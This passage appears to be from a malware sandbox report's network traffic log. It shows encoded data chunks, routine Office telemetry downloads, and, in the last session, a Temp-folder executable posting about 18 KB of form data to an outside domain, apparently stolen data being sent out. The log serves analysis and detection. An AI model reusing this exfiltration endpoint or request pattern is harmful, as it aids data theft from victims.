aGKZantjtuxYuosy+Nju1zeEbXoV2U0UEdoFOfE/Juf+MUo66CN0f06qhTa7na7EfoVruxPZy1TDHJZ+ov0m9eqxWunqpGDqXqGHszuJpME4RGi+FZrMxwYOUO+g/fXh+CFJOq/jML7MKcV0uFhuxrzHaD7U2k/Wgx2X/2P8ZnWssVrp6qRg6l6gAbc6Wj2MPwAqat8aDRbC2Ea4cri19isxX2npIfP8j2iFdjkb7QR/Rip+1dqNU4IdFf6ifGS
2024-11-02 06:16:21 UTC	1369	IN	Data Raw: 6d 6e 39 63 6e 44 39 54 61 70 47 74 50 72 61 62 73 5a 2f 42 6d 6b 35 30 39 70 4f 6c 51 4c 66 31 66 73 6a 76 47 46 31 71 6d 49 4b 2b 2b 2f 69 6f 4f 2f 65 71 30 46 6e 62 77 6b 68 68 54 30 47 72 6a 6b 55 69 59 67 45 68 34 33 58 66 4c 45 6f 39 66 4e 73 6f 55 75 35 36 71 48 30 66 41 79 70 52 66 64 34 6d 2b 2b 48 66 34 53 6f 4f 42 62 5a 7a 4a 64 42 6e 64 66 2f 6f 33 70 6d 70 2f 75 78 53 4c 2f 37 64 47 44 78 6a 61 68 4c 4e 37 79 4a 4b 74 51 37 6c 61 70 35 52 30 2b 66 31 30 56 65 6c 4c 36 68 50 61 52 31 4b 47 45 4a 75 65 74 69 73 50 30 4d 61 55 62 32 75 6c 75 76 52 66 6c 48 71 72 37 58 57 6f 37 48 45 6b 33 58 65 62 45 6f 39 66 76 6f 34 34 70 35 36 43 63 67 2b 35 30 73 31 33 61 36 43 54 73 58 76 38 64 70 65 39 57 5a 54 78 53 44 48 31 56 38 59 37 39 6b 64 65 6c 68 Data Ascii: mn9cnD9TapGtPrabsZ/Bmk509pOlQLf1fsjvGF1qmIK++/ioO/eq0FnbwkhhT0GrjkUiYgEh43XfLEo9fNsoUu56qH0fAypRfd4m++Hf4SoOBbZzJdBndf/o3pmp/uxSL/7dGDxjahLN7yJKtQ7lap5R0+f10VelL6hPaR1KGEJuetisP0MaUb2uluvRflHqr7XWo7HEk3XebEo9fvo44p56Ccg+50s13a6CTsXv8dpe9WZTxSDH1V8Y79kdelh
2024-11-02 06:16:21 UTC	1369	IN	Data Raw: 4c 77 76 77 71 72 56 32 54 70 47 4c 30 52 71 64 59 37 75 31 4d 4a 6d 63 4d 56 53 77 50 72 64 4f 72 78 63 44 75 6e 47 58 78 37 64 47 52 76 33 71 34 58 59 57 6b 49 37 63 4d 35 52 43 74 2f 31 34 68 41 57 49 6e 66 46 62 39 69 50 71 51 6e 2b 37 46 4b 71 66 31 73 49 50 79 4b 4c 68 53 7a 50 4a 70 70 42 6d 37 48 72 2f 6b 55 53 5a 78 48 45 74 7a 55 66 4b 42 2f 49 65 51 73 70 55 75 36 37 76 46 78 2b 4e 36 35 46 33 4d 37 32 75 6d 45 50 42 5a 76 2f 39 51 64 6a 78 5a 41 44 74 53 37 34 6e 33 31 35 48 67 6b 43 37 72 71 34 54 57 76 69 75 38 48 73 76 6a 4b 4c 77 50 2b 68 72 75 31 68 4d 6d 4a 78 78 66 4e 32 2f 39 69 76 57 51 79 62 48 49 42 65 79 68 69 73 2f 77 50 65 70 54 6e 65 49 6b 37 45 32 35 56 71 72 34 48 54 35 76 44 6c 77 69 43 61 6e 55 71 59 69 52 75 63 55 7a 70 2f Data Ascii: LwvwqrV2TpGL0RqdY7u1MJmcMVSwPrdOrxcDunGXx7dGRv3q4XYWkI7cM5RCt/14hAWInfFb9iPqQn+7FKqf1sIPyKLhSzPJppBm7Hr/kUSZxHEtzUfKB/IeQspUu67vFx+N65F3M72umEPBZv/9QdjxZADtS74n315HgkC7rq4TWviu8HsvjKLwP+hru1hMmJxxfN2/9ivWQybHIBeyhis/wPepTneIk7E25Vqr4HT5vDlwiCanUqYiRucUzp/
2024-11-02 06:16:21 UTC	1369	IN	Data Raw: 65 72 68 64 68 61 51 6a 75 68 50 32 46 61 44 71 54 33 51 35 58 78 46 30 48 63 43 36 33 70 72 53 70 59 73 69 32 5a 4f 6f 79 65 45 33 70 52 72 6a 32 6c 4f 6c 47 65 64 55 69 4f 70 4c 5a 58 38 53 52 32 38 61 70 73 54 61 6e 63 2b 74 69 69 4b 6e 34 38 6e 48 73 57 4c 71 4f 4e 44 70 59 62 6f 5a 74 54 65 6b 2b 56 42 70 4f 42 78 4a 4e 31 61 2b 33 4c 75 57 31 62 43 49 4b 75 44 68 6a 74 6e 32 65 75 52 64 30 36 51 38 39 42 2f 39 42 71 50 6d 57 69 6f 35 55 67 6b 33 52 62 43 64 75 34 47 66 2b 4e 5a 72 70 37 2f 4a 6d 37 46 39 70 42 44 63 35 32 71 33 44 4f 55 51 72 66 39 65 49 51 46 69 49 6e 70 58 2b 34 72 38 71 65 47 42 6a 7a 58 71 6f 6f 36 42 30 54 32 38 48 75 50 61 55 36 55 5a 35 31 53 49 36 6b 74 6c 66 78 4a 48 62 78 71 6d 78 4e 71 64 7a 36 32 4b 49 71 57 4e 6a 74 58 Data Ascii: erhdhaQjuhP2FaDqT3Q5XxF0HcC63prSpYsi2ZOoyeE3pRrj2lOlGedUiOpLZX8SR28apsTanc+tiiKn48nHsWLqONDpYboZtTek+VBpOBxJN1a+3LuW1bCIKuDhjtn2euRd06Q89B/9BqPmWio5Ugk3RbCdu4Gf+NZrp7/Jm7F9pBDc52q3DOUQrf9eIQFiInpX+4r8qeGBjzXqoo6B0T28HuPaU6UZ51SI6ktlfxJHbxqmxNqdz62KIqWNjtX

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	63866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:21 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:21 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:21 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 26ee9e08-901e-0048-4009-2cb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061621Z-16ccfc49897wvnbhhC1DFWtfnn00000001q0000000001bzg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:21 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	63864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:21 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:21 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:21 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 44a13eaa-801e-0078-64c1-2bbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061621Z-16ccfc49897rxv9khC1DFWwn2800000001ug0000000018qc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:21 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	63863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:21 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:21 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:21 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: ad891365-d01e-0014-3abf-2bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061621Z-16dc884887bq5c9jhC1DFW2g3g00000001qg0000000099ke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:21 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	63865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:21 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:21 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:21 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 974f3b80-701e-006f-8009-2cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061621Z-16dc884887blxdnjhC1DFWpw2s00000001kg000000007u58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:21 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	63868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:22 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:22 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:22 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: 4dd084a3-b01e-003d-3da0-2bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061622Z-176bd8f9bc5t82pjhC1DFWycvg00000001p00000000009nx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:22 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	63869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:22 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:22 UTC	545	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:22 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 682519bf-001e-005a-0bd2-2cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061622Z-16dc884887b5dxtghC1DFW9q7c00000001s00000000060yn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-02 06:16:22 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	63871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:22 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:22 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:22 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: 5d06ec5e-b01e-0084-7009-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061622Z-16ccfc49897rxrtbhC1DFWk40s00000001ug000000005e8g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:22 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	63870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:22 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:22 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:22 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 1eed0337-a01e-0021-1809-2c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061622Z-16ccfc498978mvxwhC1DFWafzn00000001u0000000007hcg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:22 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	63872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:22 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:22 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:22 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: 2e3838b5-f01e-0071-7bc3-2b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061622Z-16ccfc498972mdvzhC1DFWzrms00000001hg00000000k1hq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:22 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	63873	188.114.96.3	443	1236	C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:22 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
